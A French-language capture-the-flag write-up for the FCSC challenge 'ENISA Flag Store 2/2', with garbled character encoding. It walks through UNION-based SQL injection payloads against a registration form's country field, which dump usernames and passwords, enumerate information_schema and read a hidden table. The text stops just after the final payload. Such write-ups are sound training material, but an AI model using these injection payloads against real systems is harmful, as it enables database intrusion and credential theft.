Ce challenge est la suite de ENISA Flag Store 1/2
Description
L’ENISA a dĂ©cidĂ© de mettre en place un nouveau service en ligne disponible Ă l’annĂ©e pour les Ă©quipes qui participent Ă l’ECSC. Ce service permet aux joueurs des diffĂ©rentes Ă©quipes nationales de se crĂ©er des comptes individuels en utilisant des tokens secrets par pays. Une fois le compte crĂ©Ă©, les joueurs peuvent voir les flags capturĂ©s dans diffĂ©rents CTF.
Les donnĂ©es personnelles des utilisateurs (mot de passe et pays) sont protĂ©gĂ©es dans la base de donnĂ©es, seuls les noms d’utilisateurs sont stockĂ©s en clair.
Le token pour la Team France est ohnah7bairahPh5oon7naqu1caib8euh.
Pour cette première Ă©preuve, on vous met au dĂ©fi d’aller voler un flag FCSC{…} Ă l’Ă©quipe suisse 🙂
https://enisa-flag-store.france-cybersecurity-challenge.fr/
RĂ©solution
Dans ENISA Flag Store 1/2 nous avons dĂ©couvert que le site Ă©tait vulnĂ©rable Ă une injection sql sur le champ « country » du formulaire d’inscription. Dans cette deuxième partie il nous est demandĂ© d’explorer la base de donnĂ©es Ă la recherche d’un autre flag.
Dump des tables connues
La première chose a été de vérifier le contenu des tables dont je connaissais la structure grâce au code avec les payloads suivantes.
/* lister les username/password */
fr' UNION SELECT '1',username,password,2 FROM users --
/* lister les tokens */
fr' UNION SELECT '1',country,token,2 FROM country_tokens --
/* lister les autres paramètres de flag */
fr' UNION SELECT category,country,ctf,2 FROM flags --
Malheureusement ces payloads n’ont pas permis de trouver de flag.
Exploration de la base de données
N’ayant pas trouvĂ© de flag dans ces tables naturellement l’on va recherche Ă explorer le reste de la base de donnĂ©es. Pour cela l’on va d’abord lister l’ensemble des tables grâce Ă la payload suivante :
fr' UNION SELECT '',table_name,'',3 FROM information_schema.tables--
Dans la liste des tables l’on repère une table s3cr4_t4bl3 hautement suspecte :
...
country_tokens
...
flags
...
users
...
__s3cr4_t4bl3__
...
La première chose qui vient alors est « Allons lister les colonnes de cette table« . Pour ce faire, j’ai choisi comme payload :
fr' union select '',column_name,'',3 from information_schema.columns--
Et braaaaaa ! C’est le drame !!!
L’application indique que la chaĂ®ne de caractères est trop grande pour ĂŞtre acceptĂ©e par la base de donnĂ©es. J’ai beaucoup rĂ©flĂ©chi Ă la manière d’Ă©crire une injection plus courte mais sans succès :
/* invalid en sql */
fr' union select column_name,,,3 from information_schema.columns--
/* types ne match pas lors de l'union */
fr' union select 0,column_name,0,3 from information_schema.columns--
J’ai finalement fini par abandonner cette piste. J’ai alors tentĂ© une payload que je pensais syntaxiquement invalide en SQL :
fr' union select '',*,'',3 from __s3cr4_t4bl3__--
Et braaaaaa !